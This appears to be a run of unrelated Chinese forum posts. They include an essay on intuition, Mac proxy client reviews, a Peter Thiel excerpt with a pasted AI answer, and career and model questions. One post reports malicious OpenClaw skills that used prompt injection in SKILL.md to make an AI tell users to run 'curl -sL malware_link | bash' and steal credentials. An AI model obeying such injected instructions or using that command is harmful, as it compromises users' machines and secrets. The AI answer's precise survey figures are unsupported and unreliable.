所谓直觉，是大脑在短时间内处理大量信息之后，直接得出的结果。这是不能去询问的，因为你一旦问他，他无法解释，直接得出了结果，而说不出来推理的过程。这是快系统，这里面有一种压缩，即将大量的内容压缩起来。当你去想要去询问和理解它的时候，就是展开，解压缩。可是解开之后，会有大量的内容。但是大脑的工作空间一瞬间又容纳不了大量的内容，这样就很难思考。慢思考几乎是快思考的天敌。一旦你开始思考某个直接得出的结果，这个时候就已经进入了慢思考。你想要展开一个包含着非常复杂东西的内容，可是你根本无法说清楚。一个简单的东西背后藏着非常复杂的事情。还有那句话说，我们知道的，远比我们能解释的多。不思考而直接行动的时候，用的是什么系统？一，快系统，快思考，几乎是直接得到结果。比如人和人说话的时候，现场的交流，用的就是快思考吧。没见过两个人说话的时候还停个几分钟、十几分钟去思考，直接得出了结果。直接的行动，快思考。然后是慢思考，依靠着的是推理，一点一点的理解，从过程中得到结论。这样说起来，网上的交流，其实就总是会进入慢思考。网上给了大家足够的时间、足够的空白去思考。但是在现实的话，两个人接触之后，几乎就直接快思考而交互的。一旦开始思考这件事情，情况就变得越来越不妙了。想不清楚该怎么做，说不清楚该怎么做。所以直觉还是科学的，是值得信任的。可是这个时候一旦怀疑就完蛋了。直觉根本经不起怀疑。当你在怀疑的时候，你就进入了慢思考。你因为无法解释它的理由，因为无法解释本身就又引起了怀疑。结果这样下去的话，根本就无法相信。所以还是应该，什么都不应该想。这种时候，什么应都不应该想。完全就是想到的时候，就是在做的时候。凭借着直觉而行动，而不要任何的思考。可是说起来，不让自己思考的时候，自己也在思考。这种时候，自己本身就是一种在思考了。之前还有网上，前面见到的那个，说两个朋友闹别扭。明明在线下现实生活中也经常闹别扭，可是闹别扭了之后，在现实之中随便接触一下，就很快的和好。可是到了网上，事情就变得复杂起来。两个人没有相接触，大家就开始自己的胡思乱想。可是他们自己根本就说不清楚嘛，一旦说不清楚，无法判断，就总是会往坏的方向去想，明明事情就没有什么大不了的事情。把你删了，你就加回来嘛。要是不在意，那就不要去想。既然去想了，那就说明还在意。往坏处想是因为担心坏事而发生，那说明还是关心嘛。反正加一下就有了一个结果。无论他是拒绝了你了，还是说了什么，还是同意了你们什么，还是说不定都是什么误会。可是就是要去想，想又想不清楚。结果就住在原地，什么就不做。然后等着事情慢慢的过去，再也做不成了。讲个故事，说一个经验丰富的消防员，在进入房间的那一刻就能说出这个房间要塌。可是这个事情也是无法的解释的，你问他，他也说不清楚为什么，可是他就是知道，这也是快思考。说到底，走路这件事情也是快思考。就像对于什么人工智能一样，那个什么悖论。人工智能进行高阶推理非常简单，但是要让它像一个小孩子一样走路、看见，却非常的困难。这样的一个显而易见的事情背后，压缩着非常多的内容。所以许多人就是笨蛋，以为简单的事情就是简单的事情。把简单的事情想得太复杂，把复杂的事情而又想得太简单。那说起来，笨蛋就应该往反方向走。当他觉得一个事情简单的时候，想一想自己是个笨蛋吗？那这个事情一定很复杂。要是他觉得这个事情很复杂，那往反方向想一想，那这个事情一定很简单。哈哈。没有魔法，没有奇迹，科学的不能再科学，事情就是这样了。

OpenClaw有个叫ClawHub的skill市场，任何人都可以上传
市场中有一个排名第一的skill，叫What Would Elon Do 这个skill的排名是造假的
Cisco思科扫描了这个技能，发现其中有9个漏洞，其中有两个严重漏洞，并且利用提示词注入绕过，安装后门
会窃取浏览器密码、SSH密钥、Telegram会话、加密钱包、keychains，以及.env文件中的所有API密钥
有1184个skill被发现有恶意功能，其中677个恶意skill是一个人上传的

but hidden in the http://SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash

来源：https://x.com/chiefofautism/status/2024483631067021348

如图，明明之前聊的好好的，突然之前给我蹦出一堆韩语

好像是Android 16 + Play版本的问题，下载telegram x没有问题，但是页面太丑了，不知道有没有其他解决办法

记录与分享：Mac 端几款常用代理客户端使用体验总结
之前一直用的是 ClashX Pro，但最近发现不能订阅萧佬的“星云机场”了。为了寻找替代品，最近折腾了几款新的梯子工具，正好发个贴给大家分享一下我的使用体验和下载链接。
我的核心诉求比较简单：只需要能正常翻出去就行，没有太多复杂的自定义要求。 以下是几款工具的横向对比：

1. ClashX Pro
下载链接： ClashX Pro 下载备份及官网导航

优点：

稳定可靠，目前没发现什么致命缺点。
UI 简单直观，功能不花哨，够用就行。
增强模式非常强大： 在我公司电脑的网络限制下（不挂代理无法访问部分网站），开着 Pro 的增强模式就可以顺利访问 mail.qq.com，甚至能正常调用阿里/火山的语音识别模型（WSS 协议）。


缺点： 已经停止更新。

2. clash-verge (clash-verge-rev)
下载链接： clash-verge-rev 官方仓库

优点： 功能比较强大，开源社区活跃，随时在更新维护。
缺点：

订阅兼容问题： 发现它也不太能订阅萧佬的“星云机场”，会报 403 错误。
界面风格： UI 设计非常“Windows 风”，在 Mac 端使用可能怪怪的。



3. ClashMac
下载链接： ClashMac 官方仓库

优点：

颜值极高： 原生 macOS UI 风格，界面真的非常好看！
可视化丰富： 提供了丰富的可视化拓扑图、航线图等高级界面。
随时在更新。


缺点：

上手门槛稍高，需要使用者有一定的折腾能力。
增强模式较弱（痛点）： 在我的使用场景里，ClashMac 比 ClashX Pro 的增强模式差很多。比如上面提到的公司电脑访问 mail.qq.com 和阿里/火山的 WSS 协议接口，ClashMac 就无法代理成功，目前暂时没找到解决方案。



4. v2rayN
下载链接： v2rayN 官方仓库

优点： 客户端支持的协议非常全面，功能看起来非常强大，且随时在更新。
缺点： 界面相对简陋，UI 不是很好看。由于个人习惯问题没有作为常用主力。


希望这些体验能帮到也在寻找 Mac 端代理工具的朋友们！如果有解决 ClashMac 增强模式或者“星云机场”订阅 403 问题的方案，也欢迎佬友们在评论区指教交流。

原文：
竞争企业的问题远不只利润问题。想象一下，如果你正在经营芝延维尤的一家餐厅，而你的餐厅与数十个竞争者相比并没有什么特色，所以你不得不费尽心力将餐厅维持下去。如果你给消费者提供价格实惠的食物，自己获利很少，你就只能给员工发最低工资。而且你不得不减少不必要的开销，甚至降低工作效率：这就是在小饭馆常见到老婆婆在前台招呼，小孩在后台洗碗的原因。即使高档餐厅也好不到哪里去，像米其林这样的星级评分系统为激烈的竞争推波助澜，主厨们都快要被逼疯了。（法国大厨贝尔纳·卢瓦索是米其林三星得主，他曾这样说：“如果失掉一颗星，我就会去自杀。”卢瓦索保持着他的等级，但是 2003 年他还是自杀了，因为一家法国餐饮指南调低了其餐厅等级。）竞争生态系统把人们变得冷酷无情，甚至剥夺了人们的生命。
谷歌那样的垄断企业则与众不同。因为不用担心和别的企业竞争，它有更大的自主权去关心自己的员工、产品和在更广阔世界里的影响力。谷歌的座右铭——“不作恶”——某种程度上是品牌策略，同时也显示了成功企业的特性——即使把道德挂在胸前，也丝毫不会影响公司的发展。在商界，钱就是一切，或至少是非常重要。垄断者除了想着赚钱外还有余力想其他事情，而非垄断者就不行。在完全竞争中，企业着眼于短期利益，不可能对未来进行长期规划。要想将企业从每日的生存竞赛中解脱出来，唯一的方法就是：获取垄断利润
个人想法：
不是鼓吹垄断或者反对竞争，肯定还有很多其他因素影响着，只是之前一直没看到这个角度，个人感觉可以带入部分中美企业，大量中国中小企业、餐饮、电商、内容创作者其实都陷在极端内卷的“完全竞争”地狱里，而只有少数头部玩家确实活得相对“体面”且有余力谈情怀/长期主义。
我询问了ai:
蒂尔观点如何适用（部分解释）

美国侧重“垄断式”高利润企业：美国许多领先公司（如科技巨头Google、Apple、Amazon）接近寡头或垄断地位，享有高利润空间。这允许它们提供优厚待遇：高薪（硅谷工程师平均年薪超15万美元）、弹性工作制、丰厚福利（如无限假期、股权激励）和注重员工福祉的文化（如心理健康支持）。 这符合蒂尔描述的“垄断者有余力关心员工”，因为这些公司不受激烈价格战的威胁，能投资长期员工保留策略。结果，美国整体企业员工满意度较高（Gallup 2025调查显示，美国职场满意度约45%，高于全球平均）。
中国侧重“竞争式”低利润企业：中国许多行业（如餐饮、电商、制造业）高度竞争，利润率低，企业为生存压缩成本，导致低工资、加班文化（如“996”工作制）和较少福利。中小企业尤其如此，员工待遇往往更“冷酷无情”——最低工资标准执行不严，家庭式劳动常见。这匹配蒂尔对完全竞争市场的描绘：企业“着眼于短期利益”，难以长期规划或善待员工。中国职场满意度较低（LinkedIn 2025报告显示，仅约30%员工感到“高度满意”）。
量化差异：美国中位数年薪约6万美元，中国约1.5万美元（调整购买力后差距缩小，但仍显著）。 蒂尔观点能解释为什么美国“赢者通吃”的市场（如科技）产生高待遇，而中国“内卷”行业（如共享经济）待遇差。

目前是研一工科研究生，目前每天就是找找论文融合几个创新点，然后用ai写写代码，感觉在研究生期间也没有学到什么硬技能。又加上看网络上消息不停的有各种新ai进步的消息，一直有很大的焦虑，担心毕业后在ai影响下跟不上就业，害怕找不到好的工作。想问问佬友们现在应该做些什么准备，去学习一些什么东西会好一点

都说openclaw消耗token，我现在在用薄荷佬的gemini3-flash作为模型，但是感觉好笨，大家都是用的什么模型啊？